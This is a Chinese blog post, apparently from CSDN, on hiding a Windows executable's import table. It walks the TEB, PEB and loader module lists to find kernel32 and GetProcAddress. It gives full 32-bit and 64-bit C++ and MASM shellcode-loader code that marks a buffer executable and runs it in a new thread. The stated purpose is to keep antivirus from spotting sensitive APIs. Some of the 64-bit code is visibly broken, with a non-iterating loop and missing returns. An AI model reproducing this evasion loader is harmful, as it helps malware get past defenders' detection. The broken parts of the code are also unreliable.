R3隐藏导入表

于 2024-11-16 00:03:36 发布
阅读量667 收藏 7
点赞数 12
文章标签： c++ 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/m0_68259687/article/details/143810225
版权

隐藏导入表

通过pe文件，我们可以看见IAT导入表，在这个表中，记录了PE文件的使用以及相关的dll模块

我这里在vs2022中用dumpin /imports 命令举例

dumpbin /imports .\NormalInjection.exe

在这里插入图片描述

这里我们可以看见，很多api，其中，VirtualAlloc，CreateThread等api会被重点盯防

那么，怎么在导入表中隐藏这些api呢

首先我们使用的方法可以是，不直接调用这些函数，转而从kernel32里面直接找到这些函数的真实加载地址来做到不出现敏感api

#include <Windows.h>
int main() {
UCHAR buf[] = "shellcode";
typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES,
SIZE_T,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE,DWORD);
DWORD oldProtect = 0;
DWORD dwThreadId;
HMODULE hKernal32 = LoadLibrary(L"Kernel32.dll");//载入kernel32
pVirtualAlloc VirtualAlloc =
(pVirtualAlloc)GetProcAddress(hKernal32,"VirtualAlloc");//找到VirtualAlloc的地址
pVirtualProtect VirtualProtect =
(pVirtualProtect)GetProcAddress(hKernal32,"VirtualProtect");
pCreateThread CreateThread =
(pCreateThread)GetProcAddress(hKernal32,"CreateThread");
pWaitForSingleObject WaitForSingleObject =
(pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");
VirtualProtect(&buf, sizeof buf, PAGE_EXECUTE_READWRITE, &oldProtect);
HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)
(CHAR*)buf, NULL, NULL, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
return 0;
}

这里我就不放截图演示导入表了，但是同时我们会获得一个疑问

那如果杀软连Loadlibary 和 GetProcAddress都查，那么怎么办呢

TEB，PEB结构

TEB（Thread Environment Block）和 PEB（Process Environment Block）是 Windows 操作系统中用于管理线程和进程的关键数据结构。它们在系统内部用于存储与进程和线程相关的信息。

在64位系统下

     gs:[0x30] 指向TEB

     gs:[0x60] 指向PEB
     
在32位系统下
	mov eax, fs:[0x30]  ; EAX = PEB 地址
	mov eax, fs:[0x18]  ; EAX = TEB 地址

为了逻辑完整，我们从头开始讲

这里我们以64位环境为例，用windbg来查看teb的结构

3: kd> dt _TEB
nt!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : Ptr64 Void
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : Ptr64 Void
   +0x058 ThreadLocalStoragePointer : Ptr64 Void
   +0x060 ProcessEnvironmentBlock : Ptr64 _PEB
   +0x068 LastErrorValue   : Uint4B
   +0x06c CountOfOwnedCriticalSections : Uint4B
   +0x070 CsrClientThread  : Ptr64 Void
  .........................................以下省略

可以看见，这个0x60处有一个指针指向PEB

3: kd> dt _PEB
nt!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
   +0x028 SubSystemData    : Ptr64 Void
 .......以下省略

在0x18偏移处有一个_PEB_LDR_DATA结构，跟进去

3: kd> dt _PEB_LDR_DATA
nt!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr64 Void
   +0x010 InLoadOrderModuleList : _LIST_ENTRY
   +0x020 InMemoryOrderModuleList : _LIST_ENTRY
   +0x030 InInitializationOrderModuleList : _LIST_ENTRY
   +0x040 EntryInProgress  : Ptr64 Void
   +0x048 ShutdownInProgress : UChar
   +0x050 ShutdownThreadId : Ptr64 Void

在这个结构里面，有三个链表头，他们都是描述同一批模块，但是链表内模块顺序不同

InLoadOrderModuleList ：模块加载的顺序
InMemoryOrderModuleList ：模块在内存的顺序
InInitializationOrderModuleList ：模块初始化的顺序

每个链表头都有两个结构体成员，Flink和Blink分别指向下一个块和上一个块

在这里插入图片描述

而我们winapi一般都可以从kernel32里面调用

思路

1. 先找到PEB模块基址
2. 再从PEB中找到 PEB_LDR_DATA 结构
3. 定位双向链 InInitializationOrderModuleList
4. 获得DLL的基地址

实现

我们可以首先用汇编拿到PEB的地址

 .CODE
 	GetPeb PROC
 	mov rax,gs:[60h]
 	ret
 	GetPeb ENDP
 END

在64位中已经不支持内联汇编，需要额外的去写一个asm文件

在vs2022创建的项目中 添加一个新建项，改为asm文件

在这里插入图片描述

添加完文件之后，右键项目打开生成自定义界面，添加一个masm

在这里插入图片描述

在这里插入图片描述

修改asm文件的属性，使用自定义生成工具

在这里插入图片描述

在属性的常规中的两行里面填入下面内容

命令行：ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm
输出：$(IntDir)%(fileName).obj

在我们的主函数里面声明

extern "C" PVOID64 __stdcall GetPEB();//函数名以实际asm文件中定义的函数名为准

demo

32位

这个我没有试过，但是我还是贴了

// shellcode.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB_LDR_DATA
{
DWORD Length;
bool Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA,*PPEB_LDR_DATA;
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
PVOID SectionPointer;
UINT32 CheckSum;
UINT32 TimeDateStamp;
PVOID LoadedImports;
PVOID EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef HMODULE (WINAPI * PLOADLIBRARY)(LPCSTR);
typedef DWORD (WINAPI * PGETPROCADDRESS)(HMODULE, LPCSTR);
typedef DWORD (WINAPI * PMESSAGEBOX)(HWND, LPCSTR,LPCSTR,UINT);
DWORD WINAPI ShellCode();
int main(int argc, char* argv[])
{
ShellCode();
getchar();
return 0;
}
DWORD WINAPI ShellCode()
{
PGETPROCADDRESS pGetProcAddress = NULL;
PLOADLIBRARY pLoadLibrary = NULL;
PMESSAGEBOX pMessageBox = NULL;
PLDR_DATA_TABLE_ENTRY pPLD;
PLDR_DATA_TABLE_ENTRY pBeg;
WORD *pFirst = NULL;
WORD *pLast = NULL;
DWORD ret = 0, i = 0;
DWORD dwKernelBase = 0;
char szKernel32[] =
{'k',0,'e',0,'r',0,'n',0,'e',0,'l',0,'3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0};
// Unicode
char szUser32[] = {'u','s','e','r','3','2','.','d','l','l',0};
char szGetProcAddress[] =
{'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
char szLoadLibrary[] = {'L','o','a','d','L','i','b','r','a','r','y','A',0};
char szMessageBox[] = {'M','e','s','s','a','g','e','B','o','x','A',0};
char szHelloShellCode[] =
{'H','e','l','l','o','S','h','e','l','l','C','o','d','e',0};
__asm
{
mov eax,fs:[0x30] // PEB
mov eax,[eax+0x0C] // PEB->LDR
add eax,0x0C // LDR->InLoadOrderModuleList
mov pBeg,eax
mov eax,[eax]
mov pPLD,eax
}
// Find Kerner32.dll
while (pPLD != pBeg)
{
pLast = (WORD*)pPLD->BaseDllName.Buffer;
pFirst = (WORD*)szKernel32;
while (*pFirst && *pLast == *pFirst)
pFirst++,pLast++;
if (*pFirst == *pLast)
{
dwKernelBase = (DWORD)pPLD->DllBase;
break;
}
pPLD = (LDR_DATA_TABLE_ENTRY*)pPLD->InLoadOrderLinks.Flink;
}
// Kernel32.dll -> GetProcAddress
if (dwKernelBase != 0)
{
// 通过指针定位到导出表
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwKernelBase;
PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader +
pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pDosHeader +
pDosHeader->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)
((DWORD)pPEHeader + sizeof(/images/shellcode/image_FILE_HEADER));
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)
((DWORD)pOptionHeader + pPEHeader->SizeOfOptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)
((DWORD)dwKernelBase + pOptionHeader->DataDirectory[0].VirtualAddress);
// 导出函数地址表RVA
DWORD *pAddOfFun_Raw = (DWORD*)((DWORD)dwKernelBase + pExportDirectory-
>AddressOfFunctions);
// 导出函数名称表RVA
WORD *pAddOfOrd_Raw = (WORD*)((DWORD)dwKernelBase + pExportDirectory-
>AddressOfNameOrdinals);
// 导出函数序号表RVA
DWORD *pAddOfNames_Raw = (DWORD*)((DWORD)dwKernelBase +
pExportDirectory->AddressOfNames);
DWORD dwCnt = 0;
char* pFinded = NULL, *pSrc = szGetProcAddress;
for (; dwCnt < pExportDirectory->NumberOfNames;dwCnt++)
{
pFinded = (char*)((DWORD)dwKernelBase + pAddOfNames_Raw[dwCnt]);
while (*pFinded && *pFinded == *pSrc)
pFinded++, pSrc++;
64位下隐藏导入表实现
if (*pFinded == *pSrc)
{
pGetProcAddress = (PGETPROCADDRESS)
(pAddOfFun_Raw[pAddOfOrd_Raw[dwCnt]] + (DWORD)dwKernelBase);
break;
}
pSrc = szGetProcAddress;
}
}
// 通过pGetProcAddress进行调用
pLoadLibrary = (PLOADLIBRARY)pGetProcAddress((HMODULE)dwKernelBase,
szLoadLibrary);
pMessageBox =
(PMESSAGEBOX)pGetProcAddress(pLoadLibrary(szUser32),szMessageBox);
pMessageBox(NULL,szHelloShellCode,0,MB_OK);
return 0;
}

64位

也不细讲了，主要的思路就是首先通过PEB找到kernel32，然后找到GetProcAddr的真实地址，取这个函数的指针来代替直接使用GetProcAddr 这个WINAPI来获取其他几个VirtualProtect，CreateThread这样的函数地址，然后同理调用

#include <stdio.h>
#include <windows.h>
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
extern "C" PVOID64 __stdcall GetInInitializationOrderModuleList();
HMODULE getKernel32Address() {
	LIST_ENTRY* pNode = (LIST_ENTRY*)GetInInitializationOrderModuleList(); // 获取InInitializationOrderModuleList
		UNICODE_STRING* FullDllName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);
	if (*(FullDllName->Buffer + 12) == '\0') {
		return (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));
	}
	pNode = pNode->Flink;
 }
DWORD64 getGetProcAddress(HMODULE hKernal32) {
	PIMAGE_DOS_HEADER baseAddr = (PIMAGE_DOS_HEADER)hKernal32; // 获取DOS头
	PIMAGE_NT_HEADERS pImageNt = (PIMAGE_NT_HEADERS)((LONG64)baseAddr +
		baseAddr->e_lfanew); // 偏移到NT头
	PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)
		((LONG64)baseAddr + pImageNt -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); //获取导出表
PULONG RVAFunctions = (PULONG)((LONG64)baseAddr + exportDir -> AddressOfFunctions); // 获取导出函数地址RVA数组地址
PULONG RVANames = (PULONG)((LONG64)baseAddr + exportDir->AddressOfNames); //获取导出函数名RVA数组地址
PUSHORT AddressOfNameOrdinals = (PUSHORT)((LONG64)baseAddr + exportDir -> AddressOfNameOrdinals); // 获取导出函数序号数组地址
for (size_t i = 0; i < exportDir->NumberOfNames; i++) { // 遍历函数
	LONG64 F_va_Tmp = (ULONG64)((LONG64)baseAddr +
		RVAFunctions[(USHORT)AddressOfNameOrdinals[i]]); // 当前函数地址
	PUCHAR FunctionName = (PUCHAR)((LONG64)baseAddr + RVANames[i]); // 当前函数名地址
		if (!strcmp((const char*)FunctionName, "GetProcAddress")) {
			return F_va_Tmp;
		}
}
}
typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);
typedef BOOL(WINAPI* pVirtualProtect)(LPVOID, DWORD, DWORD, PDWORD);
typedef HANDLE(WINAPI* pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
	LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD(WINAPI* pWaitForSingleObject)(HANDLE, DWORD);
int main() {
	unsigned char buf[] = "x64shellcode";

	HMODULE hKernal32 = nullptr; // 初始化为 nullptr，防止可能的未初始化指针

	pVirtualProtect VirtualProtect = NULL;

	pCreateThread CreateThread = NULL;

	pWaitForSingleObject WaitForSingleObject = NULL;

	pGetProcAddress GetProcAddress = NULL;

	hKernal32 = getKernel32Address(); // 获取Kernel32

	GetProcAddress =(pGetProcAddress)getGetProcAddress(hKernal32); // 获取GetProcAddress地址

	VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32,"VirtualProtect");

	CreateThread = (pCreateThread)GetProcAddress(hKernal32,"CreateThread");

	 WaitForSingleObject =(pWaitForSingleObject)GetProcAddress(hKernal32, "WaitForSingleObject");

	DWORD oldProtect;
	VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE,
		&oldProtect);
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)buf,
		NULL, 0, NULL);
	WaitForSingleObject(hThread, INFINITE);
	return 0;
}


.CODE
    GetInInitializationOrderModuleList PROC
    mov rax,gs:[60h] ; PEB，不能写 0x60
    mov rax,[rax+18h] ; PEB_LDR_DATA
    mov rax,[rax+30h] ; InInitializationOrderModuleList
    ret ; 不能写 retn
    GetInInitializationOrderModuleList ENDP
END
90wunch
关注
如何隐藏导入表
Hell的博客
11-11 1102
当有人问我这个问题的时候，我真的是一脸懵逼，我只知道编译的时候尽量少的引用dll可以减少导入表的量。
恶意代码分析总结
weixin_41038905的博客
03-04 472
寄存器类型： 1、CS：代码段寄存器； 2、DS：数据段寄存器； 3、SS：堆栈段寄存器； 4、FS：标志段寄存器 5、GS：全局段寄存器 6、ES：扩展段寄存器 通过读取FS寄存器指定的内存可以获得很多系统关键信息，内核态是fs = 0x30，用户态 fs = 0x3B，fs在内核态指向_KPCR，用户态指向_TEB。 TEB(Thread Environment Block)，线程环境块，也就是说每一个线程都会有TEB，用于保存系统与线程之间的数据，便于操作控制。那么Fs:[0x30]就是PEB进程环境
通过 PEB 隐藏导入表
VI___
04-16 1219
有时候分析样本查看不到其中的导入表，可是没有导入表如何调用系统函数呢？这有可能是通过TEB、PEB动态获取，达到隐藏的目的。主要原理是通过FS:[0x30]所指向的PEB结构体入手，得到ntdll.dll或kernel32.dll的基址。 如下新建一个最简单的控制台程序，release编译。 可以看到VC.dll、KERNEL32.dll和其他一些系统函数，其中VC和系统函数可以去掉。 ...
windows pe文件导入表隐藏
pureman_mega的博客
06-16 216
假如，需要使用CreateFileA,WriteFileA,CloseHandle等api，我们会通过GetProcAddress来获取其地址，然后保存到自定义的函数原型指针中。但是，这样就会导致每个函数都有一个单独的变量，无法统一管理；分析过一些文件，发现里面都会对引用的api进行动态获取，然后通过内存指针调用。细细想来，这种方法还是有一定的对抗作用的，如果别人想要分析的必须的稍微深入或者动态调试一下。1，动态获取函数地址，统一保存，通过下标（漂移来识别）2，调用时，对函数地址进行函数指针化，完成调用。
x64 gs寄存器解读
最新发布
QQ1057081261的专栏
07-07 997
0×060 ProcessEnvironmentBlock : 0x000007ff`fffd5000 _PEB //这里即是PEB。值得一提的是,虽然gs:[0x60] 直接存放的PEB,但是由于vista/7后的地址随机化机制,还是从TEB获取比较靠谱.由于x64下vs2005没法直接使用内联汇编,所以只把必须使用汇编来做的事情写成单独的asm。得到了PEB,剩下的就和x86下一样了.只是偏移不一样了。x64下.指针的长度已经是8个字节,所以偏移不一样了.//用c语言描述就是。
CiteSpace5.7.R3版本
07-15
用户可以导入BibTeX、EndNote、PubMed等格式的文献数据，构建引文网络。 2. **时间切片分析**：此功能允许用户按照时间跨度进行分析，观察不同时间段内的研究趋势变化，帮助科研人员了解某个领域的历史发展脉络和...
java代码-r3r33r
07-14
封装隐藏了对象的实现细节；继承允许子类从父类继承属性和方法；多态允许不同的对象对同一消息做出不同的响应。 7. **集合框架**：Java集合框架包括List（如ArrayList和LinkedList）、Set（如HashSet和TreeSet）和...
R3获取kernel32地址
天使也掉毛
04-30 2951
获取Kernel32地址 如果是搞PE变形或者PE重构，再或者代码注入，很多时候我们要动态获取Loadlibrary()以及GetPeocAddress()两个函数的地址，通过这两个函数再动态获取其他函数地址，这样就可以免导入了。不然导入表里会暴露自己的调用。 对于静态PE文件重组来说，可以通过查看原有的PE文件是不是调用了这两个，或者加载了Kernell32.dll（通常都是...
citespace6.1.r3下载
06-25
通过CiteSpace的分析和可视化，用户可以深入探索文献中的关键词、作者、机构等信息，对研究领域的发展趋势和热点进行分析，并发现文献中隐藏的重要信息。总之，CiteSpace 6.1.r3是一个非常有用的研究工具，可以帮助...
【大数据分析】：基于r3epthook的数据探索与潜力挖掘
本文旨在探索r3epthook技术在大数据分析领域的背景、应用、数据处理技巧、性能优化以及未来趋势。首先介绍了大数据分析的重要性和意义，然后深入分析了r3epthook的基础理论与架构，包括其技术概述、数据模型、工作...
x64 gs寄存器的一点资料
多媒体编程、网络编程、系统编程、网络安全编程、驱动编程
10-18 6420
编写shellcode很重要的一步就是搜索kernel32的基址,毕竟我们要获取API的地址 x86下总所周知的fs寄存器搜索kernel32基址的办法,在x64下已经失效了. x64下fs的角色已经换成了gs. 暂时发现存储的一些感兴趣的东西,如果有其他的,希望能告知我. gs:[0x30]                 TEB gs:[0x40]      
红队开发基础-基础免杀
include_voidmain的博客
06-28 1045
红队开发基础-基础免杀
Windows x64位通过PEB获得Kernel32基地址
weixin_30294295的博客
02-08 1178
在64位系统下 gs:[0x30] 指向TEB gs:[0x60] 指向PEB kd> dt _TEB nt!_TEB +0x000 NtTib : _NT_TIB +0x000 ExceptionList : Ptr64 _EXCEPTION_REGISTRATION_RECORD +0x00...
HOOK API 之修改IAT实现进程隐藏
tian028的博客
03-13 1143
1 ．技术与实现 每个调用的 API 函数地址都保存在 IAT 表中。 API 函数调用时，每个输入节（ IMPORT SECTION ）所指向的 IAT 结构如下图所示。 程序中每个调用API 函数的CALL指令所使用的地址都是相应函数登记在IAT表的地址。所以为了截获API 函数，我们将IAT表中的地址换成用户自己的API PROXY函数地址，这样每个API调用都是先调用用户自己的A...
PE文件学习笔记（五）：导入表、IAT、绑定导入表解析
热门推荐
Apollon_krj的博客
08-19 1万+
1、导入表（Import Descriptor）结构解析：导入表是记录PE文件中用到的动态连接库的集合，一个dll库在导入表中占用一个元素信息的位置，这个元素描述了该导入dll的具体信息。如dll的最新修改时间、dll中函数的名字/序号、dll加载后的函数地址等。而一个元素即一个结构体，一个导入表即该结构体的数组，其结构体如下所示：typedef struct _IMAGE_IMPORT_DESCR
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值